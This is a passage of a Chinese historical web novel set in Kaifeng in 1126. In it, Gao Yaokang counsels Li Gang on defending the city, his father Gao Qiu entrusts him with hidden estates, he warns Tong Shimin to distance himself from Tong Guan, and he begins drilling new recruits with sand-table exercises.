“金人这次回去,肯定会重新准备。明年开春,草青了,马肥了,粮草备齐了,他们肯定再来。那时候,太原还在不在?中山还在不在?河间还在不在?”
他顿了顿。
“朝廷现在割三镇,是拿自己的命换时间。问题是,这时间,拿什么用?拿来干什么?拿来接着喝酒看戏?”
李纲看着他。
“你说拿什么用?”
高尧康说:“练兵。囤粮。修城。把人从北边撤回来。把能打的兵集中起来。把该准备的都准备好。把那些只会喊议和的,从位子上挪开。”
他指着汴京。指得用力。
“金人下次来,目标是这儿。不是真定,不是中山,是这儿。是这座城。是他们喝酒看戏的地方。”
李纲沉默了很久。
然后他走到高尧康面前。忽然弯下腰。
一揖到地。
高尧康愣住了。赶紧去扶。手忙脚乱的。
“李大人——”
李纲直起身。看着他。眼睛里有什么东西在闪。
“你说的这些,我都想过。但我想的没你细。这张图,画得比我清楚。你说的这些,我信。我信你。”
他顿了顿。
“愿闻守城之详策。”
第六十五章 小子大才
高尧康看着他的眼睛。
那眼睛里,有血丝。有疲惫。有焦虑。眼袋都熬出来了,青黑一片。
但还有别的。还有光。那种光高尧康见过——在土门关的墙上,在王彦眼睛里,在那些守到最后的人眼睛里。
“李大人,”他说,“守城不是守城墙。是守人。”
李纲看着他。
“人?”
“嗯。城墙再高,没人守,就是一堆土。人再多,不想守,也是一盘沙。一踩就散。”
他指着窗外。窗外看不见什么,就一堵墙,但他的手势让人觉着外头有那一百多万人。
“城里有多少人?一百多万。这一百多万人,有几个会打仗?有几个见过血?有几个能扛得住金兵那种打法?那种不要命的打法?”
李纲说:“很少。少得可怜。”
“对。很少。所以得练。从现在开始练。一天练不成,就练十天。十天练不成,就练一个月。一个月不行,就两个月。金人开春才来,咱们还有时间。一天是一天,能练一个是一个。”
他看着李纲。目光没躲。
“还有,城里有多少粮?能吃多久?城外的水,够不够喝?城里有多少口井?万一被围了,柴火从哪儿来?药从哪儿来?这些,都得现在算清楚。不能等围上了再算,那时候就晚了。”
李纲点点头。听得认真。
“还有呢?”
高尧康说:“还有,得让老百姓知道,守城是为了什么。”
李纲愣了一下。
“为了什么?”
高尧康说:“为了活着。为了他们的命,他们孩子的命,他们爹娘的命。不是为了皇帝,不是为了朝廷,不是为了那些大人物,是为了他们自己。为了他们那口饭,那间屋,那几件破衣裳。”
他看着李纲。
“我跟他们说,守住城,你们就能活。杀一个金兵,你们就能多活一天。杀十个,你们的孩子就能活。杀一百个,你们的子孙后代都能活。不是替谁活,是替自己活。”
他顿了顿。
“他们信了。所以土门关能守七天。”
李纲沉默着。
屋里只有炭盆响。噼啪。噼啪。
过了很久,李纲开口。
“你在土门关,发了《保家守土令》。”
高尧康说:“是。”
“杀敌赏钱。战后分田。”
“是。”
李纲看着他。眼神复杂。复杂得跟乱麻似的。
“你知道,这些东西,在汴京发不出来。”
高尧康说:“知道。”
“为什么?”
高尧康说:“因为这里的田,都是有主的。这里的钱,都是有主的。这里的兵,不是老百姓的兵,是朝廷的兵。是吃饷的,不是保家的。”
他看着李纲。
“李大人,汴京和真定不一样。真定是边关,活不活都看自己。汴京是京城,活不活都看上面。”
李纲点点头。
“对。不一样。”
他又走到窗前。看着外头。外头什么也没有,就窗户纸糊着。
“这里的墙,比真定高十倍。这里的兵,比真定多十倍。这里的钱粮,比真定多一百倍。但是——”
他转过来。
“这里的人,比真定难带一百倍。真定的人知道跑不了,知道得自己拼。汴京的人总觉得——总觉着有人顶着。天塌下来,有高个的顶着。”
高尧康没说话。
李纲走回来。坐下。沉默了一会儿。手指在膝盖上敲着,一下一下的。
“你刚才说的那些,我会想办法。”他说,“练兵。囤粮。算账。准备。能做的,我尽量做。豁出这张老脸,也得做。”
他看着高尧康。
“但有一条,你得知道。”
“什么?”
“朝廷现在,不想打仗。”
高尧康点点头。
“我知道。”
李纲说:“不止不想打。还不想让人提打仗。谁提,谁就是主战派。谁是主战派,谁就是误国。就是挑事。就是给皇上添乱。”
他顿了顿。
“你知道他们怎么说我吗?说李纲迂阔。说李纲好名。说李纲想打仗,是为了自己立功。为了自己的名声,拿江山社稷当赌注。”
他笑了笑。笑得很难看。嘴角扯着,跟要裂开似的。
“我立功?我立什么功?打完仗,我还不是在这儿坐着?房子还是这么破,俸禄还是那么少,该得罪的人,一个不少。该骂我的人,接着骂。”
高尧康看着他。
“那你还打什么?”
李纲愣了一下。
然后笑了。
这回笑得不一样。是那种——我也说不清为什么,但就是想笑的那种笑。
“问得好。”他说,“我也不知道。”
他站起来。走到墙边。墙上挂着一幅画。画的是山。很高。很陡。墨色浓淡相间,看着像真的似的。
他指着那幅画。
“这是太行山。我老家在那边。小时候,我爹带我去爬山。爬到顶上,往远处看。我问我爹,山那边是什么?我爹说,是河。河那边是什么?是山。山那边呢?是京城。是汴京。”
他转过身。
“后来我来了京城。考了功名。做了官。二十多年了。二十多年,没回去过。”
他看着高尧康。眼睛里有东西在闪。
“你知道我现在想什么吗?”
高尧康没说话。
李纲说:“我想的是,山那边那条河,还能不能守住。河那边那些山,还能不能保住。京城这边这些人,还能不能活着。我想的是,我老家那边的人,还活着没有。”
他顿了顿。
“我也不知道能不能。但总得试试。不试,不甘心。”
屋里又静了。
静得能听见自己的心跳。
外头忽然有人敲门。很
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急。哐哐哐。
老仆的声音,都跑调了:“大人,宫里来人传话,让您即刻进宫。说是急事!”
李纲皱了皱眉。
“什么事?”
老仆说:“说是金国使臣到了。让您赶紧去。马都备好了。”
李纲沉默了一会儿。
“知道了。”
他转过来,看着高尧康。
“你那些图,能留给我吗?”
高尧康把那张图叠起来。递给他。
李纲接过去。小心地收进袖子里。收得跟收宝贝似的。
“你住在哪儿?”
高尧康说:“城外。高家庄园。往南二十里。”
李纲点点头。
“过两天,我去找你。有些事,还得细说。”
他走到门口。忽然停住。
转过来。
“你爹那边,”他说,声音压低了些,“最近少去。能不去就不去。”
高尧康看着他。
李纲说:“新皇上位,对太上皇的人,盯得紧。你爹在殿帅府待了那么多年,跟太上皇走得太近,难免……”
他没说下去。但那表情,什么都说了。
高尧康点点头。
“明白。”
李纲看着他。想说什么。没说。
只是走过来,又拍了拍他的肩膀。拍了两下。
“保重。”
他走了。门关上。脚步声远了。
高尧康站在屋里。站了一会儿。
然后也走了。
出大门的时候,天快黑了。
街上人少了一些。但还是热闹。远处有酒楼的灯亮起来。红的黄的,一串一串的。有人在里头划拳,五魁首啊六六六,喊得嗓子都劈了。有人在里头唱曲,咿咿呀呀的,听不清唱的什么。
高尧康走在街上。慢慢走。
走得不快。像是不着急。
走到一处巷口,忽然停下来。
巷子里头,有个老头蹲在地上。缩着。面前摆着个破碗。碗里几个铜钱,就三四个。他穿着件单衣,薄得透光,冻得发抖。抖得碗里的钱都在响。
高尧康站了一会儿。
然后走过去。从怀里摸出块银子。大概二两。放进碗里。哐当一声。
老头抬头看他。嘴张着。说不出话。眼睛瞪大了,全是眼白。
高尧康没说话。转身走了。
走远了。还能听见那老头在后头喊。喊什么听不清。大概是谢恩的话。
天全黑了。
他一个人,走在汴京的夜里。
两边全是灯。红的。黄的。亮的。晃眼的。有的灯还一闪一闪的,跟鬼火似的。
他忽然想起土门关那个晚上。他站在墙根底下,看着金兵的营寨。那晚也有灯。但那是另一种灯。是火把,是篝火,是等着**的灯。
他站住。抬头看天。
天上有云。看不见星星。云厚得跟棉被似的。
云边上,有一点红。
很淡。像血。
第六十六章 父子夜谈
夜。无月。
高尧康站在高府后门外,敲了三下。咚。咚。咚。
门开了一条缝。老管家的脸露出来,跟个鬼似的在门缝里晃。看见是他,愣了一下,然后整张脸都活过来了——不对,是慌起来了。
“衙内——”老管家的声音发颤,跟要哭似的,“你可算回来了。可算回来了。”
高尧康迈进去。门在他身后关上。哐当一声,闷闷的。
院子里黑漆漆的。没点灯。廊下也没人。只有风声,呼呼的,和偶尔一两声狗叫。那狗叫得也懒,叫两声就不叫了。
“我爹呢?”
“在后头。书房。”老管家压着嗓子,跟做贼似的,“老爷说了,让你从后边绕过去。别走前院。千万别走前院。”
高尧康点点头。熟门熟路地穿过夹道,绕过假山,从后头往书房走。这条路他小时候走过无数回,闭着眼都能走。
走到一半,他停住了。
假山后头蹲着个人。
那人也看见他了。站起来。月光底下,露出一张脸——四十来岁,精瘦,瘦得跟竹竿似的。眼睛亮得瘆人,跟狼似的。
高尧康认识他。高俅的贴身护卫,姓郑。跟了二十年了。据说能一只手放倒五个壮汉。
郑护卫朝他点点头。没说话。又蹲下去了。蹲下去的时候一点声音没有,跟猫似的。
高尧康继续走。
书房的门关着。窗里透出一点光。很暗。那点亮,跟萤火虫屁股似的。
他敲了敲门。咚。咚。
里头沉默了一会儿。然后一个声音传出来:
“进来。”
高尧康推门进去。
高俅坐在书案后头。穿着家常的深色袍子,没戴帽子。面前摊着几本账册,旁边放着一盏灯。灯捻子拨得低,火苗只有豆大。就那么豆大一点,晃晃悠悠的。
他抬起头。看着儿子。
高尧康站在门口。也看着他。
二年多没见。二年零三个月,算着的。
高俅老了。头发白了一半,剩下一半也灰了。脸上的肉也松了,跟放久了的苹果似的,皮都皱了。眼皮往下耷拉,眼袋鼓起来,青黑一片。但那眼神没变。还是那样,看人的时候,像能把人看透。像刀子。
“把门关上。”
高尧康把门关上。门轴响了一声,吱呀。
高俅指了指对面的椅子。
“坐。”
高尧康坐下。
父子俩对坐着。谁也没说话。
灯芯噼啪响了一声。啪。
高俅先开口。
“回来几天了?”
“四天。”
“见过谁了?”
“李纲。”
高俅点点头。没问李纲说了什么。只是点点头。好像早就知道似的。
“那一万多人,安置在城外?”
“嗯。高家庄园。挤不下,又租了几个院子。”
“苏家的丫头帮着弄的?”
“嗯。苏檀儿。沈记联号的。”
高俅又点点头。端起茶碗,喝了一口。放下。茶碗磕在桌上,轻轻一声。
“你在真定的事,我都知道。”
他看着高尧康。那眼神,说不清是什么。
“土门关。四千八百人挡七万。最后带回来一万多。王彦差点**,杨蓁腿上挨了一刀,刘实断了腿。苏家那丫头,把沈记联号的二十万贯全押上,给你买粮草、买药材、买**。”
他顿了顿。
“我高俅的儿子,出息了。”
高尧康没说话。
高俅看着他。看了一会儿。忽然笑了一下。
那笑容很短。一闪就没了。像灯花爆了一下。
“但出息了,不见得是好事。”
他从案上拿起一封信,扔过来。信飘了一下,落在高尧康面前。
高尧康接住。打开。
信上没几个字。是御史台的。参的是“真定溃兵入京,聚众城外,恐生事端”。参的人他不认识。但信的末尾,有朱笔批的两个字:
“知道了。”
那两个字红得刺眼。
高俅说:“那是官家的手笔。新皇上。亲笔。”
高尧康把信放下。放得很轻。
“知道了”三个字,可轻可重。轻了,就是看过算完。重了,就是记在心里。什么时候想起来,什么时候算账。
高俅看着他。
“你在真定,打的是金兵。杀的是敌人。护的是百姓。这些,没人说。但你在城外,聚了一万多人。这一万多人,只听你的,不听朝廷的。这才是他们怕的。你明白吗?”
高尧康说:“我知道。”
高俅愣了一下。
“你知道?”
“嗯。”
“知道还这么干?”
高尧康看着他爹。看着那张老了的脸。看着那双眼睛。
“爹,我要是不聚这一万多人,他们就都死在北边了。死在土门关,死在井陉,死在黄河边上。那是活生生的人,不是数字。是跟我一起守过城的人。”
高俅沉默了一会儿。
“我知道。”他说,“但你得明白,朝廷不这么看。朝廷看的是规矩,是体统,是你这号人该不该存在。”
他站起来。走到窗前。背对着儿子。
“太上皇跑了。带着蔡京、童贯那帮人,跑到江南去了。把烂摊子扔给新皇上。新皇上今年二十六,登基不到一个月,金兵就打到家门口。他怕不怕?怕。他恨不恨?恨。恨谁?恨太上皇,恨那帮把江山折腾成这样的人。恨所有跟那些人沾边的人。”
他转过来。月光从窗户纸透进来,照在他脸上,惨白惨白的。
“你是我儿子。我是太上皇用了二十年的人。你说,新皇上看见你,会怎么想?”
高尧康说:“他会想,这人是我爹的儿子,是太上皇的人,靠不住。”
高俅点点头。
“对。靠不住。不光靠不住,还得防着。说不定哪天就反了。”
他又走回来。坐下。椅子吱呀一声。
“所以你得知道,你现在站着的地方,不是平地。是刀尖上。走一步,脚底下就见血。”
高尧康看着他爹。看着那张老了的脸。看着那双依然亮的眼睛。
“爹,”他说,“你打算怎么办?”
高俅没回答。他伸手,从案下头摸出一个小匣子。木头做的,巴掌大,黑乎乎的。放在桌上,轻轻一声。
打开。推到高尧康面前。
里头是一摞纸。
地契。房契。铺契。
高尧康拿起来,一张一张看。
苏州。杭州。湖州。秀州。一共十七张。有田,有宅子,有铺面,有作坊。有的盖着官印,有的按着手印,有的写着密密麻麻的小字。
最底下还有一张纸。上头写着几行数字。没头没尾。但高尧康看懂了。
那是藏东西的地方。银子。金子。铜钱。数目加起来,比这些田产铺子还多。多得吓人。
他抬起头,看着他爹。
高俅说:“江南的,蜀中的,还有两湖的。二十多年,一点点攒的。有的是买的,有的是人送的,有的是……”
他顿了顿。
“有的是从蔡京、童贯他们手指缝里漏下来的。他们拿大的,我捡小的。捡着捡着,就这么多了。够高家吃三辈子。”
高尧康看着那些契纸。纸上那些字,一个个跳进眼里。
“爹,你这是……”
“狡兔三窟。”高俅说,声音平平的,“为父一生,就这四个字。你记住。”
他看着儿子。
“这些年,我在殿帅府。看着蔡京上去,看着
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童贯上去,看着一个一个人上去,又看着他们下来。上来的风光,下去的时候,连条狗都不如。你知道为什么吗?”
高尧康说:“因为他们只有一窟。”
高俅点点头。
“对。他们把所有的宝,都押在一个人身上。那个人在,他们在。那个人不在,他们就完了。连骨头渣都不剩。”
他指着那些契纸。手指枯瘦,骨节突出。
“我不一样。我有这些。不管谁在位上,我都能活。换十个皇上,我也能活。这才是活路。”
高尧康看着他爹。看了很久。
他一直以为他爹只是个会钻营的官油子。靠着溜须拍马,爬到那么高的位置。靠着见风使舵,在风浪里活了这么多年。他以前有时候看不起他爹。
但现在他忽然明白了一件事。
他爹不是只会钻营。他爹是看得透。比他看得透。
看得透这些人,看得透这些事,看得透这个世道。
“爹,”他说,“这些东西,你给我看做什么?”
高俅看着他。那眼神,忽然变了。
变得软了。软得不像他。
“因为……”他张了张嘴,又停住。喉结动了动。
屋里很静。灯芯噼啪响。啪。啪。
高俅又开口。声音比刚才低。低得快听不见。
“我老了。”
他看着儿子。
“你走的路,我看不懂。你那些练兵的法子,你那些打仗的路数,你那些跟百姓说的话,我都看不懂。真定那一套,我玩不来。”
他顿了顿。
“但是……比**净。”
高尧康愣住了。
高俅说:“我这辈子,做了很多事。有些是不得不做。有些是做了才后悔。有些……到现在也不知道该不该做。半夜醒了,有时候就想,要是能重来一回……”
他没说下去。
他站起来。走到高尧康面前。伸出手,在他肩膀上按了按。那手有点抖。
“你不一样。你做的事,我知道是干净的。干净,就硬气。硬气,就能走得远。不用像我这样,一辈子弯着腰。”
他看着儿子的眼睛。那眼睛里有东西在闪。
“这些东西,今后便是你的根基。高家日后,托付于你了。”
高尧康站起来。
父子俩面对面站着。离得很近。
他看见他爹眼角有东西。一闪。亮晶晶的。但老头很快把脸转过去了。转得快,跟躲什么似的。
“行了。”高俅背对着他,声音闷闷的,“滚吧。”
高尧康站着没动。
“爹。”
高俅没回头。
高尧康看着那个背影。那个背影有点佝偻了。以前不这样的。
“你那些事,我没办法替你说对错。但是……”
他顿了顿。
“你是我爹。”
高俅的肩膀动了动。就那么动了动。没说话。
高尧康转身往外走。
走到门口,手刚搭上门闩,忽然听见身后说:
“童师闵那边,你去一趟。”
他回头。
高俅还是背对着他。但声音传来。
“他在京城。没跟着童贯去江南。这小子比他爹聪明。他爹在江南等死,他在京城找活路。你去找他,有用。”
高尧康点点头。
“知道了。”
门开了。又关上。吱呀,哐当。
屋里只剩高俅一个人。
他站在那儿。看着那盏灯。看了很久。很久很久。
灯苗一晃一晃的,跟要灭似的。
然后他坐下来。把那些契纸一张一张收好。装进匣子里。锁上。咔哒一声。
他伸手抹了一把脸。
抹下来一手的水。
他看着那手。愣了一下。
然后又抹了一把。
第六十七章 亲情友情
正月十四。夜。
童师闵住在城西一条僻静的巷子里。宅子不大。门口连灯笼都没挂,黑咕隆咚的,跟没人住似的。
高尧康敲门。敲了很久。咚。咚。咚。
门开了。是童师闵自己。
他瘦了。瘦得厉害。瘦得跟竹竿似的。眼窝深陷,深得快看不见眼睛了。颧骨凸出来,跟两座小山似的。下巴上全是胡茬,黑乎乎一片。穿着件半旧的袍子,领口磨得发白,都快磨破了。
看见高尧康,他愣了下。
“……高尧康?”
高尧康说:“能进去说吗?”
童师闵往他身后看了一眼。巷子里空空的。没人。连条狗都没有。
他侧开身。
“进来。”
屋里比外头还冷。没生炭盆。冷得跟冰窖似的。桌上放着半碗冷粥,一双筷子。粥上结了一层皮。
童师闵让他坐下。自己去倒了碗水。推到他面前。水在碗里晃了晃。
“就这个。没茶。将就喝。”
高尧康看着那碗水。没喝。
童师闵坐在他对面。看着他。那眼神复杂得很。
“你怎么来了?”
高尧康说:“来看看你。”
童师闵笑了一下。那笑容里没笑意。就嘴角扯了扯。
“看我?看我笑话?看我现在混成什么样?”
高尧康没说话。
童师闵说:“我知道外头怎么传。童贯跑了,把他儿子扔在京城。是死是活不管。童师闵完了,跟着他爹混了二十年,到头来被当破鞋扔了。扔了就扔了,连回头看一眼都没有。”
他端起那碗冷粥,喝了一口。放下。碗磕在桌上,轻轻一声。
“你是不是也觉得我惨?嗯?是不是?”
高尧康看着他。
“你觉得你惨吗?”
童师闵愣了一下。
高尧康说:“你要是觉着自个儿惨,那才是真惨了。惨不惨,不在别人怎么看,在你自己怎么想。”
童师闵盯着他。看了很久。眼睛一眨不眨。
然后忽然笑了。这回笑里有东西了。是那种“你他麻的”的笑。
“高尧康,”他说,手指着他,“你他麻的。”
他站起来。在屋里走了两步。又走回来。坐下。袍子角甩了甩。
“说吧。你来干嘛?大晚上的,跑我这儿来,就为了看我惨不惨?”
高尧康说:“我来告诉你一句话。”
“什么话?”
“早做打算。”
童师闵的笑容凝固了。就停在脸上,跟冻住了似的。
高尧康说:“你爹跟着太上皇去了江南。蔡京也去了。那帮人,全去了。现在都在江南。离京城一千里。离新皇上也一千里。舒舒服服待着。”
他看着童师闵。
“你知道新皇上现在最想干什么吗?”
童师闵没说话。喉结动了动。
高尧康说:“他最想干的,就是把那帮人收拾了。太上皇他动不了。那是他爹。但那帮人——蔡京、童贯、王黼、梁师成——这些人,他动得了。不但动得了,还得动。不动,他这皇上当不踏实。”
他顿了顿。
“你爹在江南,离得远。一时半会儿够不着。你在京城,离得近。就在眼皮子底下。你说,他要动的时候,先从谁下手?嗯?”
童师闵的脸白了。
不是那种夸张的白。是那种——血色一点一点褪下去,跟退潮似的。先是脸颊,再是嘴唇,再是耳朵。全白了。
他张了张嘴。没说出话。
高尧康说:“我来,就是告诉你这个。你爹那边的事,我管不了。那是他的命。但你这边,你还能管。你还能给自己留条活路。”
童师闵沉默了很久。
屋里静得能听见外头的风声。呼呼的。
然后他抬起头。看着高尧康。那眼神里有什么东西在动。
“你为什么要告诉我这些?”
高尧康说:“因为你帮过我。”
童师闵愣了一下。
“真定。你那几封信。虽然你没明着帮,但我知道。没有你那几封信,沈晦不敢那么用我。没有你那几封信,我早就被钱益那帮人整**。死在真定,回不来。”
他看着童师闵。
“你帮过我。我记得。我这人,记仇,也记恩。”
童师闵的眼眶红了。
他低下头。用手抹了一把脸。又抬起头。手在抖。
“我爹……”他张了张嘴,声音发颤,“我爹他,对不住我。”
高尧康没说话。
童师闵说:“他走的时候,没叫我。连个口信都没留。我是从别人嘴里知道的。别人告诉我,你爹跑了。去江南了。把你扔在这儿了。”
他的声音发颤。颤得厉害。
“二十年。我给他当儿子。帮他跑腿,帮他传话,帮他干那些见不得人的事。帮他擦屁股。到头来,就换来这个。连句话都没有。”
高尧康看着他。
童师闵低着头。肩膀在抖。抖得跟筛糠似的。
屋里很静。
过了很久,童师闵抬起头。脸上的泪没了。但眼眶还红着。红得跟兔子似的。
他看着高尧康。
“你说早做打算。怎么打算?我该怎么办?”
高尧康说:“两条路。一是走。趁现在还能走,去江南找你爹。父子团圆。二是留。留下来,跟那些人划清界限,把自己摘干净。让新皇上知道,你不是他们那拨的。”
童师闵苦笑了一下。笑得比哭还难看。
“走?往哪儿走?我爹在江南,他自身都难保。他那一堆烂事,够他喝一壶的。我去了,是多个累赘。他连自己都顾不过来,还能顾我?”
他顿了顿。
“留?怎么划清?我给童贯当了二十年儿子,这事全京城都知道。全大宋都知道。我跟他是父子,这事能划清?血能划清?”
高尧康说:“那就做点事。”
童师闵看着他。
“什么事?”
高尧康说:“让新皇上知道,你跟童贯不是一回事。你跟他不是一条心。你是你,他是他。”
他从怀里掏出张纸。放在桌上。纸折着,方方正正的。
童师闵低头看。
上头写着几个名字。还有几行小字。密密麻麻的。
他抬起头。眼睛瞪大了。瞪得跟铜铃似的。
“这是……”
高尧康说:“童贯在京城的一些人。还有他这些年干的事。你知道的,比我多。你跟他这么多年,那些事,你门清。你可以写下来。写得越细越好。交给该交的人。”
童师闵的手在抖
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。抖得纸都拿不稳。
“你这是……让我出卖我爹?”
高尧康说:“你爹先出卖的你。”
童师闵愣住了。
他看着那张纸。看了很久。很久很久。
然后他把纸折起来。揣进怀里。揣得很紧。
抬起头。
“高尧康。”
“嗯。”
“谢谢你。”
高尧康站起来。
“别谢太早。我什么都没帮你。路是你自己走。”
他往外走。
走到门口,手刚搭上门闩,忽然听见身后说:
“你不一样了。”
他回头。
童师闵站在那儿。看着他。灯影里,他的脸一半亮一半暗。
“我第一次见你,你是个纨绔。在樊楼喝酒,一晚上花一千贯。点最贵的酒,叫最红的姑娘。我当时想,高俅这儿子,废了。跟他爹一样,也就这样了。”
他顿了顿。
“现在……”
他没说下去。
高尧康站在门口。月光从门缝里透进来,照在他脸上。
“人都会变。”他说。声音平平的。
门开了。又关上。
吱呀。哐当。
童师闵一个人站在屋里。
站了很久。一动不动。
然后他低下头,看着怀里那张纸。伸手按了按。
手还在抖。
正月十五。元宵节。
京城到处是灯。大的、小的、圆的、方的、挂着的、举着的、转着的。满街都是人。满街都是笑声。有人放炮,砰的一声,小孩捂着耳朵尖叫。
高尧康一个人走在街上。
他刚从城外回来。那一万多人,安置在三个地方。苏檀儿找的地方,有住处,有吃的,有柴烧。王彦醒了,能坐起来骂人了。骂宇文虚,骂刘实,骂金兵,骂沈晦,骂天冷。什么都骂。
他一边走,一边想着这些事。想着王彦骂人的样子,想着杨蓁腿上的伤,想着苏檀儿昨晚上递过来的账本。
忽然有人拉住他。拉得挺紧。
他回头。是个小孩。七八岁。脸上抹得黑一块白一块,跟小花猫似的。手里举着盏兔子灯。灯里头蜡烛一晃一晃的。
“你是高虞候吗?”
高尧康愣了一下。
“你认识我?”
小孩摇摇头。脑袋摇得跟拨浪鼓似的。
“有人让我给你送个信。”
他把一张纸条塞进高尧康手里。转身就跑。跑得飞快,钻进人群里,不见了。就那盏兔子灯在人群里晃了晃,也没了。
高尧康低头看。
纸条上就一行字:
“今夜子时。老地方。”
没署名。但他认得那笔迹。
他爹的。
他把纸条收起来。揣进怀里。跟童师闵那个动作一样。
继续往前走。
两边全是灯。红的晃眼。黄的也晃眼。把人都照得五颜六色的。笑声嘈杂,嗡嗡嗡的,跟一群蜜蜂似的。
他忽然想起去年这时候。在真定。他和杨蓁站在城墙上,看着北边。那时候也有灯。但那是另一盏灯。照着的是另一条路。那条路上有血,有**,有哭声。
他站住。抬头看天。
天上有云。看不见月亮。
但灯太多了。把天都映红了。红通通的,跟烧起来似的。
第六十八章 守御新军
靖康元年二月初三。汴京。城外大营。
李纲站在点将台上,看着台下那三万人。
三万人。新募的。从京畿各州县拉来的。有庄稼汉,有市井泼皮,有逃荒的流民,有原来当杂役的厢兵。站没站相,坐没坐相,歪歪扭扭挤成一团,跟一锅粥似的。有人还在交头接耳,有人东张西望,有人蹲在地上系鞋带,系了半天没系好,站起来又蹲下去。
李纲看了半个时辰。没说话。就那么看着。
然后他转过身,看着旁边的已经被自己举荐为军都指挥使的高尧康。
“交给你了。”他说。就三个字。
高尧康说:“好。”
李纲走了。走得干脆,头都没回。
高尧康站在点将台上。看着那三万人。
三万人也看着他。有的仰着脖子,有的斜着眼睛,有的还在跟旁边的人嘀咕什么。
风刮着。旗子啪啪响,跟抽鞭子似的。
高尧康开口。
“我叫高尧康。从今天起,你们归我管。”
底下有人在笑。笑的什么,听不清。但肯定不是好话。
高尧康继续说。
“三个月后,金兵会来。来多少人?不知道。但肯定比你们多。多多少?也不知道。但肯定多到能把你们淹了。”
笑声没了。
“你们当中,有人见过金兵。有人没见过。见过的,知道自己打不过。没见过的,等见过了,就知道自己更打不过。”
底下一片安静。安静得能听见风把沙子吹起来的声音。
“但你们得打。”
他看着那些人。一个一个看过去。
“为什么?因为不打,你们的爹娘得死。不打,你们的婆娘孩子得死。不打,你们自己得死。**扔乱葬岗,没人埋。”
他顿了顿。
“打,还有可能活。不打,肯定死。就这么简单。”
有人开口了。一个粗嗓门,从人群后头传过来:“那咱们怎么打?拿锄头打?种地和打仗能一样?”
高尧康看着他。是个黑脸汉子,膀大腰圆,一脸不服气的样。
“你叫什么?”
“赵大。”
“以前干嘛的?”
“种地的。种了二十年。”
高尧康点点头。
“种地的,知道什么时候下种,什么时候锄草,什么时候收割。打仗也一样。什么时候守,什么时候攻,什么时候退,什么时候冲。都有时候。该守的时候守不住,该冲的时候不敢冲,那就等死。”
他看着所有人。目光扫过去,跟刀子似的。
“我教你们。学会了,就能活。学不会,就得死。学得慢,也得死。没时间等你们。”
他转身下台。靴子踩在木板上,咚咚响。
走到台下,王彦迎上来。他伤还没好利索,走路有点瘸,一拐一拐的,但已经能骂人了。嘴比腿利索。
“三万人,”王彦说,眼睛瞪得跟牛似的,“三万头猪也得喂三个月,你打算怎么练?”
高尧康说:“先挑军官。”
“挑谁?”
“你来挑。”
王彦愣了一下。然后咧嘴笑了。那笑容里带着点坏。
“行。我给你挑。挑不好你换人。”
二月初十。军官集训营。
第一批挑出来的是二百人。有从真定带回来的老兵,有原来禁军的底层军官,有在土门关打过仗的民壮。王彦一个一个问,问了三天,骂了三天,挑出这二百个。
高尧康站在他们面前。
“你们是军官。以后每个人管一百五十个人。二百个人,管三万人。”
他看着这些人。有的脸上有疤,有的眼神凶狠,有的沉稳得跟石头似的。
“当军官,不光是自己能打。得让底下的人听你的,信你的,跟着你冲。你冲他们才冲,你退他们就跑。你是他们的胆。”
他指了指旁边一张桌子。桌子上摆着一个大木盘。盘子里有山、有河、有城墙、有小人。密密麻麻的,跟真的似的。
“这叫沙盘。”
二百个人围过来。挤着看,推推搡搡的。有人踮着脚,有人扒着前头人的肩膀。
高尧康指着沙盘上的城墙。
“这是汴京。这是城墙。这是城门。这是护城河。水这么宽,墙这么高,城门这么厚。”
他把一些小木人摆在城墙外头。摆得整整齐齐,跟蚂蚁似的。
“这是金兵。攻城的时候,他们会从这几个方向来。东边、西边、南边、北边,哪儿好打打哪儿。”
他又摆了一些小木人在城墙上。摆得稀稀拉拉。
“这是咱们。守城的时候,咱们站这儿。就这么些人,这么长的墙。”
他抬起头。
“现在,我把你们分成两队。红队守城,蓝队攻城。一个时辰。看看谁能赢。”
底下有人问:“怎么算赢?”
高尧康说:“红队守住城墙,算赢。蓝队攻上去,算赢。”
又有人问:“真打?拿什么打?”
高尧康说:“假的。用脑子打。用这儿。”他指了指自己的脑袋。
二百个人互相看看。有人挠头,有人咧嘴,有人已经开始琢磨怎么打,眼珠子转来转去
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。
王彦在旁边,看着那个沙盘。看着那些小人,那些城墙,那些山。
他忽然想起土门关那些日子。想起高尧康每次打完仗,不管多累,把所有人叫到一起,蹲在地上,拿根树枝画图,一点一点讲,哪儿对了,哪儿错了,下次怎么办。
那时候他觉得烦。觉得这人怎么这么啰嗦,打完了还不让人歇着。
现在他看着这沙盘,忽然明白了。
这是让没打过仗的人,先学会怎么想。学会在脑子里先打一遍。
二月十五。第一批对抗。
红队守城。蓝队攻城。
红队的队长是个真定老兵,姓周,外号周聋子。耳朵被震天**聋了一只,但眼睛好使,跟鹰似的。他带着人,把沙盘上的城墙守得严严实实。哪儿放箭,哪儿扔石头,哪儿堵缺口,安排得明明白白。
蓝队攻了半个时辰,**三十多个小木人,愣是没上去。那些小人横七竖八倒在城墙下头。
蓝队的队长是个禁军出来的,姓孙,以前是当都头的,手底下管过二百号人。他急眼了,脸涨得通红,把手里的小木棍一摔。啪的一声,摔得老远。
“这他麻的怎么打?你城墙那么高,护城河那么宽,我梯子够不着,冲车过不去!你这不是欺负人吗?!”
周聋子嘿嘿笑。笑得耳朵更聋了似的。
“打仗就是这样。你攻不上来,我就赢了。你急有什么用?”
孙都头瞪着他。眼珠子都快瞪出来了。
高尧康走过去。拿起几个小木人,摆在城墙的一个角上。那个角在沙盘上不起眼,边上还有点歪。
“这儿。护城河窄了三尺。你们刚才没人看见。”
孙都头愣住了。
他盯着那个角落。看了半天。眼睛一眨不眨。
“我……我没注意。”他声音低下去。
高尧康说:“打仗的时候,没注意,就是死。你**,你手下那几百人也得死。就因为没看见这窄的三尺。”
他指着那个角落。手指在上头点了点。
“城墙不是一样高的。护城河不是一样宽的。城门不是一样牢的。金兵会找。他们找到,就打那儿。你们也得找。你们找到,就守那儿。找不着,就等着挨打。”
他看着孙都头。
“再打一遍。”
孙都头点点头。弯腰把小木棍捡起来。把小木人重新摆好。这回他看得仔细,眼睛都快贴到沙盘上了。
又打了一个时辰。
这回,他赢了。
赢了之后,他愣在那儿,看着沙盘,半天没动。
第六十九章 战前训练
二月二十。心理韧性训练。
城外一块空地。挖了几条壕沟,搭了几道矮墙,堆了些柴草。地上坑坑洼洼的,跟战场似的。
高尧康把新兵分成十拨。一拨三千人,轮流进去。
第一拨进去的是赵大那队。种地的那个。
他们刚进壕沟,旁边忽然烧起火来。呼的一声,火苗窜得老高。柴草里掺了湿东西,烟大,黑烟滚滚,呛得人睁不开眼,眼泪直流。
